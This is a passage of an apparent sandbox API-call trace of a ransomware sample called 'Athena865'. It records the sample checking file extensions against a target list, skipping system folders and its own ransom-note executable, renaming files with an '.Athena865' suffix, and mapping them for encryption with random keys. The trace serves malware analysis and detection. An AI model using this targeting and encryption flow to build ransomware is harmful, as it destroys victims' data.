[0062.944] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0062.944] lstrlenW (lpString="fp7") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0062.944] lstrlenW (lpString="fpt") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0062.945] lstrlenW (lpString="frm") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0062.945] lstrlenW (lpString="gdb") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0062.945] lstrlenW (lpString="gdb") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0062.945] lstrlenW (lpString="grdb") returned 4 [0062.945] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0062.945] lstrlenW (lpString="gwi") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0062.945] lstrlenW (lpString="hdb") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0062.945] lstrlenW (lpString="his") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0062.945] lstrlenW (lpString="ib") returned 2 [0062.945] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0062.945] lstrlenW (lpString="idb") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0062.945] lstrlenW (lpString="ihx") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0062.945] lstrlenW (lpString="itdb") returned 4 [0062.945] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0062.945] lstrlenW (lpString="itw") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0062.945] lstrlenW (lpString="jet") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0062.945] lstrlenW (lpString="jtx") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0062.945] lstrlenW (lpString="kdb") returned 3 [0062.945] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0062.945] lstrlenW (lpString="kexi") returned 4 [0062.945] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0062.945] lstrlenW (lpString="kexic") returned 5 [0062.945] lstrcmpiW (lpString1="W.msi", lpString2="kexic") returned 1 [0062.946] lstrlenW (lpString="kexis") returned 5 [0062.946] lstrcmpiW (lpString1="W.msi", lpString2="kexis") returned 1 [0062.946] lstrlenW (lpString="lgc") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0062.946] lstrlenW (lpString="lwx") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0062.946] lstrlenW (lpString="maf") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0062.946] lstrlenW (lpString="maq") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0062.946] lstrlenW (lpString="mar") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0062.946] lstrlenW (lpString="marshal") returned 7 [0062.946] lstrcmpiW (lpString1="2WW.msi", lpString2="marshal") returned -1 [0062.946] lstrlenW (lpString="mas") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0062.946] lstrlenW (lpString="mav") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0062.946] lstrlenW (lpString="maw") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0062.946] lstrlenW (lpString="mdbhtml") returned 7 [0062.946] lstrcmpiW (lpString1="2WW.msi", lpString2="mdbhtml") returned -1 [0062.946] lstrlenW (lpString="mdn") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0062.946] lstrlenW (lpString="mdt") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0062.946] lstrlenW (lpString="mfd") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0062.946] lstrlenW (lpString="mpd") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0062.946] lstrlenW (lpString="mrg") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0062.946] lstrlenW (lpString="mud") returned 3 [0062.946] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0062.946] lstrlenW (lpString="mwb") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0062.947] lstrlenW (lpString="myd") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0062.947] lstrlenW (lpString="ndf") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0062.947] lstrlenW (lpString="nnt") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0062.947] lstrlenW (lpString="nrmlib") returned 6 [0062.947] lstrcmpiW (lpString1="WW.msi", lpString2="nrmlib") returned 1 [0062.947] lstrlenW (lpString="ns2") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0062.947] lstrlenW (lpString="ns3") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0062.947] lstrlenW (lpString="ns4") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0062.947] lstrlenW (lpString="nsf") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0062.947] lstrlenW (lpString="nv") returned 2 [0062.947] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0062.947] lstrlenW (lpString="nv2") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0062.947] lstrlenW (lpString="nwdb") returned 4 [0062.947] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0062.947] lstrlenW (lpString="nyf") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0062.947] lstrlenW (lpString="odb") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0062.947] lstrlenW (lpString="odb") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0062.947] lstrlenW (lpString="oqy") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0062.947] lstrlenW (lpString="ora") returned 3 [0062.947] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0062.947] lstrlenW (lpString="orx") returned 3 [0062.948] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0062.948] lstrlenW (lpString="owc") returned 3 [0062.948] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0062.948] lstrlenW (lpString="p96") returned 3 [0062.948] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0062.948] lstrlenW (lpString="p97") returned 3 [0062.948] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0062.948] lstrlenW (lpString="pan") returned 3 [0062.948] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0062.948] lstrlenW (lpString="pdb") returned 3 [0062.948] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0062.952] lstrlenW (lpString="pdm") returned 3 [0062.952] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0062.952] lstrlenW (lpString="pnz") returned 3 [0062.952] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0062.952] lstrlenW (lpString="qry") returned 3 [0062.952] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0062.952] lstrlenW (lpString="qvd") returned 3 [0062.952] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0062.952] lstrlenW (lpString="rbf") returned 3 [0062.952] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0062.953] lstrlenW (lpString="rctd") returned 4 [0062.953] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0062.953] lstrlenW (lpString="rod") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0062.953] lstrlenW (lpString="rodx") returned 4 [0062.953] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0062.953] lstrlenW (lpString="rpd") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0062.953] lstrlenW (lpString="rsd") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0062.953] lstrlenW (lpString="sas7bdat") returned 8 [0062.953] lstrcmpiW (lpString1="32WW.msi", lpString2="sas7bdat") returned -1 [0062.953] lstrlenW (lpString="sbf") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0062.953] lstrlenW (lpString="scx") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0062.953] lstrlenW (lpString="sdb") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0062.953] lstrlenW (lpString="sdc") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0062.953] lstrlenW (lpString="sdf") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0062.953] lstrlenW (lpString="sis") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0062.953] lstrlenW (lpString="spq") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0062.953] lstrlenW (lpString="te") returned 2 [0062.953] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0062.953] lstrlenW (lpString="teacher") returned 7 [0062.953] lstrcmpiW (lpString1="2WW.msi", lpString2="teacher") returned -1 [0062.953] lstrlenW (lpString="tmd") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0062.953] lstrlenW (lpString="tps") returned 3 [0062.953] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0062.953] lstrlenW (lpString="trc") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0062.954] lstrlenW (lpString="trc") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0062.954] lstrlenW (lpString="trm") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0062.954] lstrlenW (lpString="udb") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0062.954] lstrlenW (lpString="udl") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0062.954] lstrlenW (lpString="usr") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0062.954] lstrlenW (lpString="v12") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0062.954] lstrlenW (lpString="vis") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0062.954] lstrlenW (lpString="vpd") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0062.954] lstrlenW (lpString="vvv") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0062.954] lstrlenW (lpString="wdb") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0062.954] lstrlenW (lpString="wmdb") returned 4 [0062.954] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0062.954] lstrlenW (lpString="wrk") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0062.954] lstrlenW (lpString="xdb") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0062.954] lstrlenW (lpString="xld") returned 3 [0062.954] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0062.954] lstrlenW (lpString="xmlff") returned 5 [0062.954] lstrcmpiW (lpString1="W.msi", lpString2="xmlff") returned -1 [0062.954] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.Athena865") returned 87 [0062.954] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.athena865"), dwFlags=0x1) returned 1 [0062.955] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0062.955] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1992192) returned 1 [0062.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0062.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0062.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0062.956] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0062.956] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0062.956] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0062.957] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e6900, lpName=0x0) returned 0x17c [0062.958] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e6900) returned 0x2d50000 [0063.033] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0063.034] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0063.034] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0063.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0063.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0063.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0063.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0063.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0063.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0063.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0063.034] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0063.056] CloseHandle (hObject=0x17c) returned 1 [0063.056] CloseHandle (hObject=0x154) returned 1 [0063.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0063.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0063.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0063.065] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".") returned 1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="..") returned 1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="windows") returned -1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="bootmgr") returned 1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="temp") returned -1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="pagefile.sys") returned -1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot") returned 1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ids.txt") returned 1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntuser.dat") returned 1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="perflogs") returned -1 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2="MSBuild") returned 1 [0063.066] lstrlenW (lpString="Office32WW.xml") returned 14 [0063.066] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Office32WW.xml" | out: lpString1="Office32WW.xml") returned="Office32WW.xml" [0063.066] lstrlenW (lpString="Office32WW.xml") returned 14 [0063.066] lstrlenW (lpString="Athena865") returned 9 [0063.066] lstrcmpiW (lpString1="e32WW.xml", lpString2="Athena865") returned 1 [0063.066] lstrlenW (lpString=".dll") returned 4 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".dll") returned 1 [0063.066] lstrlenW (lpString=".lnk") returned 4 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".lnk") returned 1 [0063.066] lstrlenW (lpString=".ini") returned 4 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".ini") returned 1 [0063.066] lstrlenW (lpString=".sys") returned 4 [0063.066] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".sys") returned 1 [0063.066] lstrlenW (lpString="Office32WW.xml") returned 14 [0063.066] lstrlenW (lpString="bak") returned 3 [0063.066] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0063.066] lstrlenW (lpString="ba_") returned 3 [0063.066] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0063.066] lstrlenW (lpString="dbb") returned 3 [0063.066] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0063.067] lstrlenW (lpString="vmdk") returned 4 [0063.067] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0063.067] lstrlenW (lpString="rar") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0063.067] lstrlenW (lpString="zip") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0063.067] lstrlenW (lpString="tgz") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0063.067] lstrlenW (lpString="vbox") returned 4 [0063.067] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0063.067] lstrlenW (lpString="vdi") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0063.067] lstrlenW (lpString="vhd") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0063.067] lstrlenW (lpString="vhdx") returned 4 [0063.067] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0063.067] lstrlenW (lpString="avhd") returned 4 [0063.067] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0063.067] lstrlenW (lpString="db") returned 2 [0063.067] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0063.067] lstrlenW (lpString="db2") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0063.067] lstrlenW (lpString="db3") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0063.067] lstrlenW (lpString="dbf") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0063.067] lstrlenW (lpString="mdf") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0063.067] lstrlenW (lpString="mdb") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0063.067] lstrlenW (lpString="sql") returned 3 [0063.067] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0063.067] lstrlenW (lpString="sqlite") returned 6 [0063.067] lstrcmpiW (lpString1="WW.xml", lpString2="sqlite") returned 1 [0063.068] lstrlenW (lpString="sqlite3") returned 7 [0063.068] lstrcmpiW (lpString1="2WW.xml", lpString2="sqlite3") returned -1 [0063.068] lstrlenW (lpString="sqlitedb") returned 8 [0063.068] lstrcmpiW (lpString1="32WW.xml", lpString2="sqlitedb") returned -1 [0063.068] lstrlenW (lpString="xml") returned 3 [0063.068] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0063.068] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Athena865") returned 87 [0063.068] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.athena865"), dwFlags=0x1) returned 1 [0063.069] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0063.069] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4274) returned 1 [0063.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0063.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0063.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0063.069] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0063.070] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0063.070] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.070] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c0, lpName=0x0) returned 0x17c [0063.072] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c0) returned 0x100000 [0063.072] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0063.076] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0063.076] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0063.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0063.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0063.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0063.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0063.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0063.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0063.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0063.077] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0063.077] CloseHandle (hObject=0x17c) returned 1 [0063.077] CloseHandle (hObject=0x154) returned 1 [0063.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0063.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0063.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0063.077] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2=".") returned 1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="..") returned 1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="windows") returned -1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="bootmgr") returned 1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="temp") returned -1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="pagefile.sys") returned -1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="boot") returned 1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="ids.txt") returned 1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="ntuser.dat") returned 1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="perflogs") returned -1 [0063.077] lstrcmpiW (lpString1="ose.exe", lpString2="MSBuild") returned 1 [0063.078] lstrlenW (lpString="ose.exe") returned 7 [0063.078] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ose.exe" | out: lpString1="ose.exe") returned="ose.exe" [0063.078] lstrlenW (lpString="ose.exe") returned 7 [0063.078] lstrlenW (lpString="Athena865") returned 9 [0063.078] lstrlenW (lpString=".dll") returned 4 [0063.078] lstrcmpiW (lpString1="ose.exe", lpString2=".dll") returned 1 [0063.078] lstrlenW (lpString=".lnk") returned 4 [0063.078] lstrcmpiW (lpString1="ose.exe", lpString2=".lnk") returned 1 [0063.078] lstrlenW (lpString=".ini") returned 4 [0063.078] lstrcmpiW (lpString1="ose.exe", lpString2=".ini") returned 1 [0063.078] lstrlenW 